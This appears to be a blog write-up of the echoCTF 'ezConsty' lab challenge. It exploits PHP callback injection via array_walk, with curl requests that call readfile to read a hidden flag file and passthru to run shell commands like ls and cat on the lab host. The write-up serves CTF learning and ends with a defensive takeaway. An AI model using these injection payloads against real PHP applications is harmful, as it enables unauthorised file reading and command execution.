> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# echoCTF ezConsty Writeup: PHP Callback Injection via array_walk
- URL: https://taiwanding.com/en/echoctf-ezconsty-writeup/
- Published: 2025-09-04T09:28:31.000Z
- Updated: 2026-07-15T02:49:46.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## **Challenge Info**

- **Platform**: echoCTF
- **Category**: Web Security
- **Difficulty**: **CTF Playground**
- **Description**: "callback challenge ezConsty..."
- **Challenge link**: [https://echoctf.red/target/97](https://echoctf.red/target/97?ref=taiwanding.com)

## **Walkthrough**

### **Step 1:**

**Initial recon.** Visiting the site without supplying a `callback` parameter dumps the PHP source code:

Key observations:

- The function to be executed is controlled through `$_GET['callback']`
- `array_walk()` runs the callback against every POST parameter
- It includes `/app/echoctf.php`

### **Step 2:**

**Understanding how array\_walk works.** Let's probe the behaviour of `array_walk`:

```bash
curl -X POST "http://10.0.14.31/?callback=var_dump" \
     -d "test=123"

```

Output:

```
string(3) "123"   # $value (the POST value)
string(4) "test"  # $key (the POST key)
bool(true)        # array_walk return value

```

Takeaway: `array_walk($_POST, 'callback')` calls `callback($value, $key)`.

### **Step 3:**

**Reading the hidden file with readfile.** Now that the mechanism is clear, we use PHP's `readfile()` function to read the file:

```bash
curl -X POST "http://10.0.14.31/?callback=readfile" \
     -d "test=/app/echoctf.php"

```

Success:

```php
<?php define("ETSCTF_DEFINE_FLAG","ETSCTF_REDACTED");
bool(true)

```

**Flag captured!**

### **Step 4: Exploring other approaches**

**Method 2: running system commands with passthru**

**First, check whether there are any files in the current directory:**

```bash
curl -X POST "http://10.0.14.31/?callback=passthru" \
     -d "id=ls"

```

**We find echoctf.php, so read it directly:**

```bash
curl -X POST "http://10.0.14.31/?callback=passthru" \
     -d "id=cat echoctf.php"

```

This outputs the same FLAG content.

## **Key Takeaways**

- **Callback Injection vulnerability**: never let a user control the name of the function being called
- **How array\_walk passes arguments**:
  - It calls `callback($value, $key)`
  - The POST value becomes the first argument, the key becomes the second

## **Lessons Learned**

A few things I picked up while solving this:

**PHP functions vs. Linux commands**

- `readfile` is a built-in PHP function that reads a file directly
- To run Linux commands you need something like `system()`, `exec()`, or `passthru()`

**Debugging tip.** Start with a simple function to figure out how arguments are passed:

```bash
# Test the argument order
curl -X POST "http://10.0.14.31/?callback=var_dump" -d "key=value"
# Output
string(5) "value"
string(3) "key"
bool(true)
```

In short, this challenge neatly combines PHP callback injection with the quirks of `array_walk`. It taught me the finer details of how PHP passes function arguments, as well as how different functions expect different numbers of arguments.